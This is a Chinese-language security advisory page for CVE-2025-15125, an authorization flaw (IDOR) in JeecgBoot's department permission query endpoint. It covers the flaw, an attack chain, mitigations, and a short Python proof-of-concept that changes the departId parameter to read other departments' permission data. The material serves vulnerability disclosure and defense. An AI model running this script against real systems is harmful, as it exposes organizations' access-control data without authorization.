IPBUF安全漏洞报告
English
CVE-2025-15125 CVSS 3.1 低危

CVE-2025-15125 JeecgBoot queryDepartPermission 越权漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15125
漏洞类型
越权访问/不正确的授权
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

越权访问IDORJeecgBoot权限绕过低代码平台CVE-2025-15125

漏洞概述

CVE-2025-15125是JeecgBoot开源企业级低代码平台中的一个高复杂度越权访问漏洞。该漏洞存在于JeecgBoot 3.9.0及之前版本的部门权限查询功能中,具体问题函数为queryDepartPermission,位于/sys/permission/queryDepartPermission接口。攻击者可以通过操纵departId参数,绕过正常的权限检查机制,获取未经授权的部门权限信息。漏洞利用复杂度较高,需要攻击者具备一定的技术能力,并且需要拥有低权限用户账号。由于该漏洞的利用代码已经公开,攻击者可能已经在野外尝试利用此漏洞。JeecgBoot作为一款广泛使用的企业级应用框架,其权限管理模块的缺陷可能对企业数据安全造成威胁。漏洞披露后,厂商未对安全公告做出回应,建议使用者自行采取防护措施。

技术细节

JeecgBoot的queryDepartPermission函数在处理departId参数时存在授权验证缺陷。该接口本应仅允许具有相应权限的用户查询特定部门的权限信息,但由于后端未正确验证请求者与目标部门之间的隶属关系或权限关联,导致任何已认证的低权限用户都可以通过构造恶意的departId值来查询任意部门的权限数据。漏洞本质属于业务逻辑层面的越权访问(IDOR - Insecure Direct Object Reference),攻击者利用低权限账号发起HTTP请求,通过修改departId参数为其他部门的ID,即可获取该部门的敏感权限配置信息。攻击可远程进行,无需用户交互,但需要拥有一个有效的低权限用户凭证。CVSS 3.1评分3.1,主要影响机密性,低完整性影响,无可用性影响。

攻击链分析

STEP 1
步骤1
攻击者获取JeecgBoot平台的低权限用户账号(可通过注册或社工获取)
STEP 2
步骤2
使用低权限账号登录系统,获取有效的身份认证令牌(Token)
STEP 3
步骤3
构造恶意请求访问/sys/permission/queryDepartPermission接口
STEP 4
步骤4
通过修改departId参数为目标部门ID(如1或其他敏感部门),绕过权限检查
STEP 5
步骤5
服务器返回目标部门的权限配置信息,导致敏感数据泄露
STEP 6
步骤6
攻击者利用泄露的权限信息进行进一步横向移动或权限提升攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15125 PoC - JeecgBoot queryDepartPermission IDOR # Target: JeecgBoot <= 3.9.0 # Vulnerability: Improper Authorization in /sys/permission/queryDepartPermission TARGET_URL = "http://target.com/jeecg-boot" USERNAME = "attacker" PASSWORD = "password" def login(): """Login to get authentication token""" login_url = f"{TARGET_URL}/sys/login" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) if response.status_code == 200: result = response.json() return result.get("data", {}).get("token") return None def exploit_unauthorized_access(token, depart_id): """Exploit IDOR by manipulating departId parameter""" exploit_url = f"{TARGET_URL}/sys/permission/queryDepartPermission" headers = {"X-Access-Token": token} params = {"departId": depart_id} # Manipulate departId to access other depts response = requests.get(exploit_url, headers=headers, params=params) return response.json() def main(): token = login() if not token: print("[-] Login failed") return print("[*] Login successful, exploiting IDOR...") # Try to access department with ID 1 (could be admin/sensitive dept) result = exploit_unauthorized_access(token, "1") print(f"[+] Response: {json.dumps(result, indent=2, ensure_ascii=False)}") if __name__ == "__main__": main()

影响范围

JeecgBoot <= 3.9.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 限制/sys/permission/queryDepartPermission接口的访问权限,仅允许管理员访问;2) 在Web应用防火墙(WAF)上配置规则,检测并阻止异常的departId参数请求;3) 启用JeecgBoot的权限隔离功能,限制低权限用户访问敏感接口;4) 监控和审计权限查询接口的访问日志,及时发现异常访问行为;5) 考虑暂时禁用该接口,待官方修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表